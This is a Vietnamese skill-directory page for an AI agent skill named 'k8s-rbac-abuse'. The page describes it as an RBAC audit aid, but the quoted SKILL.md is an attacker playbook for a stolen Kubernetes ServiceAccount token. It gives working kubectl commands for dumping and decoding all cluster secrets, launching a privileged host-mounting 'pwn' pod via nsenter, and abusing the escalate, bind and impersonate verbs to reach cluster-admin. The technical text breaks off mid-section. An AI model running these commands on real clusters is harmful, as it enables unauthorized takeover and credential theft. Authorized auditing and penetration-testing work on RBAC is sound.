k8s-rbac-abuse
Skill này làm gì
Skill này giải thích cách liệt kê những gì một service account Kubernetes có thể làm, và quyền nào có thể dẫn đến role mạnh hơn. Skill dành cho quản trị viên cụm và kiểm toán viên rà soát cài đặt RBAC.
Khi nào nên dùng
- ✓Khi một quản trị viên yêu cầu agent liệt kê những gì một service account có thể làm trong một cụm được ủy quyền.
- ✓Khi agent kiểm tra xem một role có cho phép exec vào pod đặc quyền hoặc đọc secret không.
- ✓Khi một kiểm toán cần giải thích các đường leo thang mà một role mở ra.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/container/k8s-rbac-abuse/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Service account CI của chúng tôi có thể làm gì trong cụm, và nó có thể đạt cluster-admin qua bất kỳ quyền nào không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent liệt kê quyền của tài khoản, kiểm tra các đối tượng role và binding, rồi đánh dấu mọi quyền dẫn đến một role mạnh hơn.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Kubernetes RBAC Privilege Escalation
You have a Kubernetes ServiceAccount token (from a pod escape, kubeconfig leak, or compromised CI runner). Find the path from this SA to cluster-admin.
Phase 1: Enumerate current permissions
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER=https://kubernetes.default.svc
# Set up kubectl with the stolen token
kubectl config set-credentials hacked --token="$TOKEN"
kubectl config set-cluster c --server=$APISERVER --insecure-skip-tls-verify
kubectl config set-context c --cluster=c --user=hacked --namespace=$NS
kubectl config use-context c
# Enumerate everything you can do
kubectl auth can-i --list # in your namespace
kubectl auth can-i --list --all-namespaces # cluster-wide (often forbidden — that's a signal too)
kubectl auth can-i '*' '*' --all-namespaces # are you cluster-admin?
# Get your role bindings
kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name | contains("YOUR_SA_NAME"))'
Phase 2: Classic escalation paths
2.1 pods/exec or pods/attach on a privileged pod
If you can exec into a pod that has a privileged SecurityContext or a sensitive volume mount, you take that pod's identity:
# Find pods you can exec into
kubectl auth can-i create pods/exec
# Find privileged pods
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[]?.securityContext?.privileged == true) | "\(.metadata.namespace)/\(.metadata.name)"'
# Exec → escape (see k8s-pod-escape skill)
kubectl exec -it -n kube-system privileged-pod-name -- /bin/sh
2.2 secrets get/list cluster-wide
# Dump every secret in the cluster
kubectl get secrets -A -o json > all_secrets.json
# Service-account tokens, image-pull secrets, custom-application secrets — all here
jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") | "\(.metadata.namespace)/\(.metadata.name): \(.data.token | @base64d)"' all_secrets.json | head
# Pick a more-privileged SA token and re-authenticate
NEW_TOKEN=$(kubectl get secret -n kube-system $(kubectl get sa -n kube-system -o name | head -1 | cut -d/ -f2)-token-XXXXX -o jsonpath='{.data.token}' | base64 -d)
kubectl --token="$NEW_TOKEN" auth can-i '*' '*' --all-namespaces
2.3 create pods — run a privileged pod yourself
Even without exec on existing pods, if you can CREATE pods you can build one that mounts the host:
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: pwn
spec:
hostPID: true
hostNetwork: true
containers:
- name: pwn
image: alpine
command: ["nsenter", "-t", "1", "-m", "-u", "-i", "-n", "-p", "sh"]
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
EOF
kubectl exec -it pwn -- /bin/sh
If PSP / Pod Security Admission blocks privileged: true, downgrade gradually: hostPath: /, hostPID alone, capabilities: [SYS_ADMIN], etc. PSA's restricted profile blocks all of these; baseline blocks privileged + hostPath but allows hostPID; privileged allows everything.
2.4 escalate verb
The escalate verb on roles/clusterroles lets you create a role with permissions you DON'T have:
kubectl auth can-i escalate clusterroles
# If "yes":
cat <<EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: total-pwn
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
EOF
# Then bind it to your SA
kubectl create clusterrolebinding pwn --clusterrole=total-pwn --serviceaccount=$NS:default
2.5 bind verb
The bind verb lets you bind an existing higher-privilege ClusterRole to your SA:
kubectl auth can-i create clusterrolebindings
# OR
kubectl auth can-i bind clusterroles
# Either gives you escalation to cluster-admin:
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=$NS:default
2.6 impersonate verb
kubectl auth can-i impersonate users
# If yes, impersonate cluster-admin:
kubectl --as=system:admin auth can-i '*' '*' --all-namespaces
kubectl --as=system:admin get secrets -A
# Or impersonate a group:
kubectl --as=anything --as-group=system:masters get secrets -A
2.7 nodes/proxy — bypass RBAC via kubelet
kubectl auth can-i get nodes/proxy
# I
Câu hỏi thường gặp
RBAC là gì?
Đó là hệ thống Kubernetes quyết định tài khoản nào được làm hành động nào trên đối tượng nào.
Vì sao đọc secret lại rủi ro?
Skill nói secret thường chứa thông tin đăng nhập có thể mở quyền truy cập đến dịch vụ hoặc role khác.
Skill có bao gồm cách sửa không?
Skill tập trung vào tìm các đường đi, còn việc gỡ quyền thuộc về chủ cụm quyết định.
Chi tiết
Mô tả gốc của tác giả
Kubernetes RBAC privilege escalation paths — ClusterRole/Role enumeration via `kubectl auth can-i --list`, abuse of pods/exec, pods/portforward, secrets get, escalate verb, bind verb, impersonate verb, system:masters group abuse, ServiceAccount token theft and reuse.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #13991
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.